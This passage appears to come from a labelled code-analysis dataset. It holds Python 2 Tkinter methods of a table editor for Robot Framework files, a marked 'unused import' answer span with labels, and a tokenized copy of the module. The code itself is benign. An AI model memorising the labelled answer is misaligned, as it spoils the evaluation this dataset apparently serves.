[self.get_row(linenum) for linenum in range(first_linenum, last_linenum+1)]\n except Exception, e:\n self.log.debug(str(e))\n result = []\n return result", "metadata": "root.DynamicTableEditor.get_selected_rows", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 149 }, { "content": " def compress_columns(self, anchor=\"insert\"):\n '''Remove leading and trailing whitespace from each column in the selected range\n\n This operates on whole rows, even if only a partial row is selected.\n '''\n linenumber = self.index(anchor).split(\".\")[0]\n rows = self.get_selected_rows()\n result = []\n for row in rows:\n row = [cell.strip() for cell in row]\n result.append(row)\n self.replace_selected_rows(result)", "metadata": "root.DynamicTableEditor.compress_columns", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 163 }, { "content": " def align_columns(self, anchor=\"insert\"):\n '''Give each column in the selected range the same width'''\n\n rows = self.get_selected_rows()\n col_size = {}\n for row in rows:\n for i, col in enumerate(row):\n col_size[i] = max(col_size.get(i, 0), len(col))\n ncols = len(col_size)\n result = []\n for row in rows:\n for i, col in enumerate(row):\n row[i] = col.ljust(col_size[i])\n result.append(row)\n self.replace_selected_rows(result)", "metadata": "root.DynamicTableEditor.align_columns", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 176 }, { "content": " def convert_to_string(self, rows):\n '''Convert a list of lists into newline-separated, pipe-delimited strings\n Is this a dupe of another function somewhere? *sigh* I need to clean this\n API up!\n '''\n lines = []\n for row in rows:\n data = \" | \".join(row)\n data = \"|\" + data if data.startswith(\" \") else \"| \" + data\n lines.append(data.rstrip())\n return \"\\n\".join(lines)", "metadata": "root.DynamicTableEditor.convert_to_string", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 192 }, { "content": " def replace_selected_rows(self, rows):\n '''Replace the selected rows with the given data'''\n string = self.convert_to_string(rows)\n self.mark_set(\"sel_start\", \"sel.first linestart\")\n self.mark_set(\"sel_end\", \"sel.last lineend\")\n self.mark_gravity(\"sel_start\", \"left\")\n self.mark_gravity(\"sel_end\", \"right\")\n sel = (self.index(\"sel.first linestart\"), \n self.index(\"sel.last lineend\"))\n self.replace(\"sel.first linestart\", \"sel.last lineend\", string)\n self.tag_add(\"sel\", \"sel_start\", \"sel_end\")\n self.mark_unset(\"sel_start\")", "metadata": "root.DynamicTableEditor.replace_selected_rows", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 204 }, { "content": " def get_current_statement(self):\n \n '''Return the current statement as a list of cells\n\n This doesn't do it exactly like robot does, but it's\n close enough for now. \n '''\n text = self.get_current_statement_text()\n if not text.lstrip().startswith(\"|\"):\n text = \"| \" + text\n lines = text.split(\"\\n\")\n statement = self._split_row(lines[0])\n for line in lines[1:]:\n # robot requires a leading pipe; make sure there is one,\n # otherwise it will split on whitespace. Yuck.\n \n line = line.strip(\" \")\n if not line.startswith(\"|\"):\n line = \"| \" + line\n row = self._split_row(line)\n # we're relying on the fact that in standard robot\n # format for continuation lines, the first cell will\n # be blank, and the next cell will contain \"...\"\n statement.extend(row[2:])\n return statement", "metadata": "root.DynamicTableEditor.get_current_statement", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 217 }, { "content": " def get_current_statement_text(self):\n start = self.find_start_of_statement()\n end = self.find_end_of_statement()\n text = self.get(start, end)\n return text", "metadata": "root.DynamicTableEditor.get_current_statement_text", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 243 }, { "content": " def get_lines(self, start=\"1.0\", end=\"end\"):\n '''Generator which returns all whole lines from start to end\n \n The first value is the whole line that contains the start index,\n The last value is the whole line that contains the end index. Start\n and end are not required to be the actual start and end of a line\n '''\n while self.compare(start, \"<\", end):\n yield self.get(\"%s linestart\" % start, \"%s lineend\" % start)\n start = self.index(\"%s +1line\"% start)", "metadata": "root.DynamicTableEditor.get_lines", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 249 }, { "content": " def get_rows(self, rownums):\n result = []\n for rownum in rownums:\n result.append(self.get_row(rownum))\n return result", "metadata": "root.DynamicTableEditor.get_rows", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 260 }, { "content": " def get_row(self, linenumber):\n '''Return a row as a list of values. The values will be \n stripped of leading and trailing whitespace\n\n This replicates the functionality of robot.parsing.txtreader.split_row\n in robot 2.7 (which isn't officially out yet...)\n '''\n\n line_start = \"%s.0\" % linenumber\n line_end = self.index(line_start + \" lineend\")\n text = self.get(line_start, line_end).strip()\n return self._split_row(text)", "metadata": "root.DynamicTableEditor.get_row", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 266 }, { "content": " def _split_row(self, row):\n '''This exists for backwards compatibility with rf 2.6 and older\n \n Prior to robot framework 2.7a2, the method for\n splitting rows was private. This is a cut'n'paste\n from the 2.7a2 sources.\n '''\n _space_splitter = re.compile(' {2,}')\n _pipe_splitter = re.compile(' \\|(?= )')\n\n row = row.rstrip().replace('\\t', ' ')\n if not row.startswith('| '):\n return _space_splitter.split(row)\n row = row[1:-1] if row.endswith(' |') else row[1:]\n return [cell.strip() for cell in _pipe_splitter.split(row)]", "metadata": "root.DynamicTableEditor._split_row", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 283 }, { "content": " def current_cell(self):\n '''Return the boundaries of the current cell'''\n (start, end) = self._current_cell_boundaries()\n return (start, end)", "metadata": "root.DynamicTableEditor.current_cell", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 299 }, { "content": " def select_current_cell(self):\n ''' Whadya know? This seems to work'''\n (start, end) = self._current_cell_boundaries()\n self.tag_remove(\"sel\", 1.0, \"end\")\n self.tag_add(\"sel\", start, end)", "metadata": "root.DynamicTableEditor.select_current_cell", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 304 }, { "content": " def move_to_next_column(self):\n if self.complete_frame.winfo_viewable():\n self.complete_frame.place_forget()\n\n i = self.search(\"(^| )\\|( |$)\", \"insert\", regexp=True, count=self.tmpvar)\n if (i != \"\"):\n self.mark_set(\"insert\", \"%s+%sc\" % (i, self.tmpvar.get()))\n # special case for empty cells\n if (self.get(\"insert\") == \"|\"):\n self.mark_set(\"insert\", \"insert-1c\")\n self.select_current_cell()\n self.see(\"insert\")", "metadata": "root.DynamicTableEditor.move_to_next_column", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 310 }, { "content": " def add_post_change_hook(self, cmd):\n '''Register a command to be called whenever the data changes'''\n self.hooks.append(cmd)", "metadata": "root.DynamicTableEditor.add_post_change_hook", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 323 }, { "content": " def replace(self, start, end, string, tags=None):\n '''Replace a range of text'''\n insert = self.index(start)\n self.configure(autoseparators=False)\n self.edit_separator()\n self.delete(start, end)\n self.insert(insert, string, tags)\n self.edit_separator()\n self.configure(autoseparators=True)", "metadata": "root.DynamicTableEditor.replace", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 327 }, { "content": " def _on_paste(self, event):\n '''I was having problems on my mac where the clipboard had \n strings terminated by \\r. This converts those to newlines\n before doing the paste\n '''\n data = self.clipboard_get().replace(\"\\r\\n\", \"\\n\").replace(\"\\r\", \"\\n\")\n self.edit_separator()\n try:\n self.delete(\"sel.first\", \"sel.last\")\n except:\n pass\n self.insert(\"insert\", data)\n self.edit_separator()\n return \"break\"", "metadata": "root.DynamicTableEditor._on_paste", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 337 }, { "content": " def _on_expand(self, event):\n sys.stdout.flush()", "metadata": "root.DynamicTableEditor._on_expand", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 352 }, { "content": " def _on_select_block(self, event):\n '''Select a block of text (not fully implemented yet!)\n \n The idea is that subsequent calls escalate from selecting the\n variable, cell, line, block, and whole test case, or something like\n that.\n\n How shall I implement this? I could bind to <Control-w>, \n <Control-w><Control-w>, <Control-w><Control-w><Control-w>, etc\n or I could somehow determine what is selected and go the next\n one bigger. The former is easy, but\n '''\n sel = self.tag_ranges(\"sel\")\n if len(sel) == 0:\n # no selection; select current cell\n self.select_current_cell()\n else:\n # there is a selection; select current cell if it's\n # not selected, select row if it is. \n self.select_current_cell()\n if self.tag_ranges(\"sel\") == sel:\n # it was already selected; select whole line instead\n self.tag_add(\"sel\", \"insert linestart\", \"insert lineend\")", "metadata": "root.DynamicTableEditor._on_select_block", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 355 }, { "content": " def _on_control_enter(self, event):\n '''Enter a newline, and indent appropriately\n \n Useful when entering rows for a text, so you don't\n have to manually type so many pipes\n '''\n line = self.get(\"insert linestart\", \"insert lineend\")\n match = re.match(r'[ |.]*', line)\n if match:\n self.insert(\"insert\", \"\\n\" + match.group(0))\n if re.match(r'[ |.]*\\| +:[Ff][Oo][Rr] +', line):\n # line is a FOR loop; add one more level of indentation\n self.insert(\"insert\", \"| \")\n return \"break\"", "metadata": "root.DynamicTableEditor._on_control_enter", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 379 }, { "content": " def _on_triple_click(self, event):\n self.select_current_cell()\n return \"break\"", "metadata": "root.DynamicTableEditor._on_triple_click", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 394 }, { "content": " def on_tab(self, event):\n '''Special handling for the tab key\n \n Lots of things are going on here. We might move to the next\n cell, or we add indentation based on the previous line, or add\n a new column to the current row.\n '''\n if self.complete_frame.winfo_viewable():\n self.complete_frame.place_forget()\n\n # are we in a variable? If so, move to just outside the variable\n line = self.get(\"insert linestart\", \"insert\")\n if re.search(r'[\\$@]{[^}]*$', line):\n index = self.search(\"} *\", \"insert\", regexp=True,\n stopindex=\"insert lineend\", count=self.tmpvar)\n if index != \"\":\n self.mark_set(\"insert\", \"%s+%sc\" % (index, self.tmpvar.get()))\n return \"break\"\n\n # are we at the beginning of a blank line? If so, add indentation\n # equal to the previous line\n if (self.compare(\"insert\",\">\",\"1.0\") and\n self.compare(\"insert\", \"==\", \"insert linestart\") and\n self.compare(\"insert\", \"==\", \"insert lineend\")):\n previous_line = self.get(\"insert -1 line linestart\", \"insert -1 line lineend\")\n match = re.match(r'^([ |.]+)', previous_line)\n if match:\n self.insert(\"insert\", match.group(1))\n return \"break\"\n\n # Or, we might want to add a new column based\n if self._should_add_new_column():\n self.insert(\"insert\", \" | \")\n return \"break\"\n else:\n self.move_to_next_column()\n return \"break\"", "metadata": "root.DynamicTableEditor.on_tab", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 398 }, { "content": " def _current_cell_boundaries(self):\n\n # find the separator prior to this cell\n i = self.search(\"(^| )\\|( |$)\", \"insert\", regexp=True, \n count=self.tmpvar, backwards=True,\n stopindex=\"insert linestart\")\n if i == \"\":\n start = self.index(\"insert linestart\")\n else:\n start = self.index(\"%s+%sc\" % (i, self.tmpvar.get()))\n i = self.search(\" \\|( |$)\", \"insert\", stopindex=\"insert lineend\", regexp=True)\n if i == \"\": i = self.index(\"insert lineend\")\n return (start, i)", "metadata": "root.DynamicTableEditor._current_cell_boundaries", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 436 }, { "content": " def _should_add_new_column(self):\n if (self.compare(\"insert\", \"==\", \"insert lineend\")):\n index = self.search(r'\\| +$', \"insert\", backwards=True, regexp=True, \n stopindex=\"insert linestart\")\n if index == \"\":\n return True\n return False", "metadata": "root.DynamicTableEditor._should_add_new_column", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 450 }, { "content": " def _on_pipe(self, event):\n # if we are preceeded by zero, or an odd number of backslashes,\n # insert a new column separator\n\n # beginning of line gets special treatment\n if (self.compare(\"insert\", \"==\", \"insert linestart\")):\n self.insert(\"insert\", \"| \")\n return \"break\"\n\n prev = self.get(\"insert-1c\")\n if (prev == \"\\\\\"):\n self.insert(\"insert\", \"|\")\n return \"break\"\n\n if (prev != \" \"):\n self.insert(\"insert\", \" \")\n self.insert(\"insert\", \"|\", \"column_marker\")\n self.insert(\"insert\", \" \")\n return \"break\"", "metadata": "root.DynamicTableEditor._on_pipe", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 458 }, { "content": " def _on_brace_open(self, event):\n # if the prev char is a $, automagically add a close curly\n prev = self.get(\"insert-1c\")\n prevprev = self.get(\"insert-1c\")\n if ((prev == \"$\" or prev == \"@\") and prevprev != \"\\\\\"):\n self.insert(\"insert\", \"{}\")\n self.tag_add(\"variable\", \"insert-3c\", \"insert\")\n self.mark_set(\"insert\", \"insert-1c\")\n self.edit_separator()\n return \"break\"", "metadata": "root.DynamicTableEditor._on_brace_open", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 478 }, { "content": " def _on_click(self, event):\n try:\n if self.complete_frame.winfo_viewable():\n self.complete_frame.place_forget()\n except:\n pass", "metadata": "root.DynamicTableEditor._on_click", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 489 }, { "content": " def _post_change_hook(self, result, command, *args):\n self._tag_current_cell()\n self.tag_remove(\"current_line\", 1.0, \"end\")\n self.tag_add(\"current_line\", \"insert linestart\", \"insert lineend +1c\")\n self._reposition_choices()\n for func in self.hooks:\n try:\n func(result, command, *args)\n except Exception, e:\n print \"warning: exception in post_change_hook:\", e\n\n if (command in (\"insert\",\"delete\") and self.complete_frame.winfo_viewable()):\n self.event_generate(\"<<AutoComplete>>\")\n \n line = self.index(\"insert\").split(\".\")[0]", "metadata": "root.DynamicTableEditor._post_change_hook", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 496 }, { "content": " def _on_any_key(self, event):\n if self.complete_frame.winfo_viewable():\n self.event_generate(\"<<AutoComplete>>\")", "metadata": "root.DynamicTableEditor._on_any_key", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 512 }, { "content": " def _on_tab(self, event):\n if self.complete_frame.winfo_viewable():\n selection = self.list.curselection()\n if selection is not None and len(selection) > 0:\n i = selection[0]\n text = self.list.get(i)\n self.replace(\"current_cell.first\", \"current_cell.last\", text)\n self.complete_frame.place_forget()\n self.move_to_next_column()\n return \"break\"\n self.move_to_next_column()\n return \"break\"", "metadata": "root.DynamicTableEditor._on_tab", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 516 }, { "content": " def _on_return(self, event):\n try:\n if self.complete_frame.winfo_viewable():\n selection = self.list.curselection()\n if selection is not None and len(selection) > 0:\n i = selection[0]\n text = self.list.get(i)\n self.replace(\"current_cell.first\", \"current_cell.last\", text)\n self.complete_frame.place_forget()\n return \"break\"\n except:\n pass", "metadata": "root.DynamicTableEditor._on_return", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 529 }, { "content": " def _select_next(self):\n selection = self.list.curselection()\n if selection is not None and len(selection) > 0:\n index = int(selection[0])+1\n self.list.activate(index)\n self.list.see(index)\n self.list.selection_clear(0, \"end\")\n self.list.selection_set(\"active\")", "metadata": "root.DynamicTableEditor._select_next", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 542 }, { "content": " def _select_prev(self):\n selection = self.list.curselection()\n if selection is not None and len(selection) > 0:\n index = int(selection[0])-1\n self.list.activate(index)\n self.list.see(index)\n self.list.selection_clear(0, \"end\")\n self.list.selection_set(\"active\")", "metadata": "root.DynamicTableEditor._select_prev", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 551 }, { "content": " def _on_up(self, event):\n if self.complete_frame.winfo_viewable():\n self._select_prev()\n return \"break\"", "metadata": "root.DynamicTableEditor._on_up", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 560 }, { "content": " def _on_down(self, event):\n if self.complete_frame.winfo_viewable():\n self._select_next()\n return \"break\"", "metadata": "root.DynamicTableEditor._on_down", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 565 }, { "content": " def _on_escape(self, event):\n if (self.complete_frame.winfo_viewable()):\n self.complete_frame.place_forget()", "metadata": "root.DynamicTableEditor._on_escape", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 570 }, { "content": " def _tag_current_cell(self):\n self.tag_remove(\"current_cell\", 1.0, \"end\")\n (start, end) = self.current_cell()\n self.tag_add(\"current_cell\", start, end)\n return\n i = self.search(\" \\| \", \"insert\", stopindex=\"insert linestart\", \n backwards=True, regexp=True)\n if i == \"\":\n cell_start = self.index(\"insert linestart\")\n else:\n cell_start = self.search(r'[^\\s]', \"%s+3c\" % i, regexp=True)\n\n i = self.search(\" +\\| \", cell_start, stopindex=\"insert lineend\", regexp=True)\n if i == \"\":\n cell_end = self.index(\"insert lineend\")\n else:\n cell_end = i\n self.tag_remove(\"current_cell\", 1.0, \"end\")\n self.tag_add(\"current_cell\", cell_start, cell_end)", "metadata": "root.DynamicTableEditor._tag_current_cell", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 574 }, { "content": " def _on_autocomplete(self, event):\n self.event_generate(\"<<AutoComplete>>\")\n self._reposition_choices(force=True)", "metadata": "root.DynamicTableEditor._on_autocomplete", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 594 }, { "content": " def _reposition_choices(self, force=False):\n # remove this line to have auto-completion window almost\n # always visible. I can't decide -- automatic, or only\n # on control-space.\n if not force and not self.complete_frame.winfo_viewable():\n return\n\n try:\n bbox = self.bbox(\"current_cell.first\")\n except Exception, e:\n return\n fx = bbox[0]\n fy = bbox[1] + bbox[3] + 2\n yoffset = 2\n listheight = self.complete_frame.winfo_reqheight()\n if fy+listheight > self.winfo_height():\n # won't fit below; go to plan B!\n fy = bbox[1]-(listheight+ yoffset)\n if fy < 1:\n # crap! won't fit above either. Screw it. Show it\n # below and let the user suffer the consequences.\n fy = bbox[1] + bbox[3] + yoffset\n # print \" fx/fy:\", fx,fy\n # print \" height:\", self.winfo_height()\n # print \" reqheight of frame:\", self.complete_frame.winfo_reqheight()\n # print \" actual height of frame:\", self.complete_frame.winfo_height()\n self.complete_frame.place(x=fx, y=fy)", "metadata": "root.DynamicTableEditor._reposition_choices", "header": "['class', 'DynamicTableEditor', '(', 'tk', '.', 'Text', ',', 'HighlightMixin', ')', ':', '___EOS___']", "index": 598 } ]
[ { "span": "from robot.parsing.txtreader import TxtReader", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 45 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "Tkinter_", "as_", "tk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "robot_", "._", "parsing_", "._", "txt", "reader_", "import_", "Txt", "Reader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "ttk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rw", "b_", "._", "widgets_", "import_", "Highlight", "Mixin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "from", " ", "core", ".", "trans", "mog", "rif", "ier", " ", "import", " ", "Trans", "mog", "rif", "ier_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "tcl", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "\\", "10", ";", "widget", " ", "=", " ", "\".", "%", "s", "\"", " ", "%", " ", "self", ".", "text", ".", "win", "fo", "\\u", "name", "()", "\\", "10", ";", "#", " ", "ugh", "!", " ", "my", " ", "head", " ", "hur", "ts", "!", " ", "My", " ", "eyes", "!", " ", "The", " ", "go", "ggle", "s", " ", "do", " ", "not", "hing", "!", " ", " ", "find", " ", "all", "\\", "10", ";", "#", " ", "instance", "s", " ", "of", " ", "a", " ", "pipe", " ", "eit", "her", " ", "at", " ", "the", " ", "beginn", "ing", " ", "of", " ", "a", " ", "line", " ", "or", " ", "after", "\\", "10", ";", "#", " ", "a", " ", "space", ",", " ", "and", " ", "followe", "d", " ", "by", " ", "a", " ", "space", " ", "or", " ", "end", " ", "of", " ", "line", ".", " ", "Than", "k", " ", "good", "ness", "\\", "10", ";", "#", " ", "robot", " ", "require", "s", " ", "space", "s", " ", "on", " ", "eit", "her", " ", "side", " ", "of", " ", "the", " ", "pipe", ",", " ", "tha", "t", " ", "make", "s", "\\", "10", ";", "#", " ", "pars", "ing", " ", "muc", "h", " ", "easi", "er", ".", " ", "\\", "10", ";", "cmd", " ", "=", " ", "r", "'%", "s", " ", "search", " ", "-", "all", " ", "-", "regexp", " ", "{(", "^", "|", " ", ")\\\\", "|(", " ", "|", "$)", "}", " ", "1.0", " ", "{", "1.0", " ", "line", "end", "}'", " ", "%", " ", "widget", "\\", "10", ";", "result", " ", "=", " ", "self", ".", "tk", ".", "eval", "(", "cmd", ").", "split", "(\"", " ", "\")", "\\", "10", ";", "print", " ", "\"", "result", ":\"", ",", " ", "result", "\\", "10", ";", "print", " ", "tk", ".\\u", "\\u", "file", "\\u\\u", "\\", "10", ";", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "tk_", "._", "Tk_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dte", "_", "=_", "Dynamic", "Table", "Editor_", "(_", "root_", ",_", "highlight", "thickness_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vs", "b_", "=_", "tk_", "._", "Scrollba", "r_", "(_", "root_", ",_", "orient_", "=_", "\"", "vertical", "\"_", ",_", "command_", "=_", "dte", "_", "._", "yv", "iew_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hs", "b_", "=_", "tk_", "._", "Scrollba", "r_", "(_", "root_", ",_", "orient_", "=_", "\"", "horizon", "tal", "\"_", ",_", "command_", "=_", "dte", "_", "._", "xv", "iew_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dte", "_", "._", "configure_", "(_", "xs", "cro", "llc", "ommand", "_", "=_", "hs", "b_", "._", "set_", ",_", "ysc", "roll", "command_", "=_", "vs", "b_", "._", "set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dte", "_", "._", "grid_", "(_", "row_", "=_", "0_", ",_", "column_", "=_", "0_", ",_", "sticky_", "=_", "\"", "nse", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vs", "b_", "._", "grid_", "(_", "row_", "=_", "0_", ",_", "column_", "=_", "1_", ",_", "sticky_", "=_", "\"", "ns", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hs", "b_", "._", "grid_", "(_", "row_", "=_", "1_", ",_", "column_", "=_", "0_", ",_", "sticky_", "=_", "\"", "ew", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "grid", "\\u", "rowco", "nfigure", "_", "(_", "0_", ",_", "weight_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "grid", "\\u", "column", "configure_", "(_", "0_", ",_", "weight_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "root_", "._", "mainloop_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Qui", "et", "Int", "Var_", "(_", "tk_", "._", "Int", "Var_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "I", "'", "m", " ", "getti", "ng", " ", "\"", "can", "'", "t", " ", "unse", "t", " ", "\":", ":\\u", "\\u", "count", "x", "\\u\\u\"", ":", " ", "no", " ", "suc", "h", " ", "variab", "le", "\\", "10", ";", " ", " ", " ", " ", "in", " ", "the", " ", "destruct", "or", " ", "of", " ", "the", " ", "variab", "le", " ", "for", " ", "some", " ", "reason", ".", " ", "Thi", "s", " ", "wrap", "s", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "destruct", "or", " ", "in", " ", "a", " ", "try", " ", "block", " ", "so", " ", "the", "y", " ", "can", " ", "be", " ", "ignore", "d", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Qui", "et", "Int", "Var_", "(_", "tk_", "._", "Int", "Var_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "del\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "tk_", "._", "global", "unse", "tva", "r_", "(_", "self_", "._", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "D", "'", "oh", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "A", " ", "text", " ", "widget", " ", "with", " ", "some", " ", "magic", " ", "for", " ", "mana", "ging", " ", "column", "s", " ", "of", " ", "data", " ", "separate", "d", " ", "with", " ", "pipe", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 